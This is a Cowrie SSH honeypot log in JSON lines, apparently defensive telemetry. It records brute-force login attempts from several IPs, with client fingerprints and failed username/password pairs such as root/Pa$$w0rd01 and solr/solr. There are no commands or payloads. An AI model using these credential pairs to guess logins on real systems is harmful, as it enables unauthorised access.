{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:46.586630Z","src_ip":"159.203.92.129","session":"89933a498130","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":38210,"dst_ip":"159.203.135.109","dst_port":22,"session":"3787dd1e003e","protocol":"ssh","message":"New connection: 221.139.88.149:38210 (159.203.135.109:22) [session: 3787dd1e003e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:48.153597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:48.158594Z","src_ip":"221.139.88.149","session":"3787dd1e003e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:48.417800Z","src_ip":"221.139.88.149","session":"3787dd1e003e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcbserver","password":"mcbserver","message":"login attempt [mcbserver/mcbserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:49.216112Z","src_ip":"221.139.88.149","session":"3787dd1e003e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":51210,"dst_ip":"10.17.0.5","dst_port":22,"session":"a686c661b52f","protocol":"ssh","message":"New connection: 185.216.119.134:51210 (10.17.0.5:22) [session: a686c661b52f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:49.586283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:49.591361Z","src_ip":"185.216.119.134","session":"a686c661b52f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:50.404541Z","src_ip":"185.216.119.134","session":"a686c661b52f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:50.442187Z","src_ip":"221.139.88.149","session":"3787dd1e003e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root!@#456","message":"login attempt [root/Root!@#456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:51.769625Z","src_ip":"185.216.119.134","session":"a686c661b52f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:52.989473Z","src_ip":"185.216.119.134","session":"a686c661b52f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":3922,"dst_ip":"10.17.0.5","dst_port":22,"session":"601d779ddf61","protocol":"ssh","message":"New connection: 201.149.53.243:3922 (10.17.0.5:22) [session: 601d779ddf61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:56.277844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:56.283239Z","src_ip":"201.149.53.243","session":"601d779ddf61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":44710,"dst_ip":"159.203.135.109","dst_port":22,"session":"47385473c35c","protocol":"ssh","message":"New connection: 31.59.89.180:44710 (159.203.135.109:22) [session: 47385473c35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:56.292299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:56.298862Z","src_ip":"31.59.89.180","session":"47385473c35c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:56.350754Z","src_ip":"201.149.53.243","session":"601d779ddf61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:56.417083Z","src_ip":"31.59.89.180","session":"47385473c35c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"qwerty","message":"login attempt [es/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:56.650936Z","src_ip":"201.149.53.243","session":"601d779ddf61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp_user1","password":"123456","message":"login attempt [ftp_user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:56.903199Z","src_ip":"31.59.89.180","session":"47385473c35c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:57.721770Z","src_ip":"201.149.53.243","session":"601d779ddf61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:30:58.020901Z","src_ip":"31.59.89.180","session":"47385473c35c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37724,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f34633a8a10","protocol":"ssh","message":"New connection: 159.203.92.129:37724 (159.203.135.109:22) [session: 6f34633a8a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:30.170524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:30.175492Z","src_ip":"159.203.92.129","session":"6f34633a8a10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:30.180449Z","src_ip":"159.203.92.129","session":"6f34633a8a10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"YHDP","password":"123","message":"login attempt [YHDP/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:30.192253Z","src_ip":"159.203.92.129","session":"6f34633a8a10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:31.205559Z","src_ip":"159.203.92.129","session":"6f34633a8a10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":39558,"dst_ip":"10.17.0.5","dst_port":22,"session":"96d280f32e2b","protocol":"ssh","message":"New connection: 210.183.21.53:39558 (10.17.0.5:22) [session: 96d280f32e2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:34.972581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:34.977942Z","src_ip":"210.183.21.53","session":"96d280f32e2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:35.181113Z","src_ip":"210.183.21.53","session":"96d280f32e2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa$$w0rd01","message":"login attempt [root/Pa$$w0rd01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:36.025098Z","src_ip":"210.183.21.53","session":"96d280f32e2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":60710,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca7369498d02","protocol":"ssh","message":"New connection: 80.94.92.186:60710 (159.203.135.109:22) [session: ca7369498d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:37.190490Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:37.232307Z","src_ip":"210.183.21.53","session":"96d280f32e2b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:37.272559Z","src_ip":"80.94.92.186","session":"ca7369498d02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:37.467098Z","src_ip":"80.94.92.186","session":"ca7369498d02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solr","password":"solr","message":"login attempt [solr/solr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:38.453158Z","src_ip":"80.94.92.186","session":"ca7369498d02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:39.708626Z","src_ip":"80.94.92.186","session":"ca7369498d02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":56520,"dst_ip":"159.203.135.109","dst_port":22,"session":"606ffa69ae2b","protocol":"ssh","message":"New connection: 31.59.89.180:56520 (159.203.135.109:22) [session: 606ffa69ae2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:45.291274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:45.295795Z","src_ip":"31.59.89.180","session":"606ffa69ae2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:45.407011Z","src_ip":"31.59.89.180","session":"606ffa69ae2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lubuntu","password":"lubuntu","message":"login attempt [lubuntu/lubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:45.881362Z","src_ip":"31.59.89.180","session":"606ffa69ae2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:46.995730Z","src_ip":"31.59.89.180","session":"606ffa69ae2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":53674,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a0d7fbac110","protocol":"ssh","message":"New connection: 221.139.88.149:53674 (159.203.135.109:22) [session: 2a0d7fbac110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:47.754811Z"}
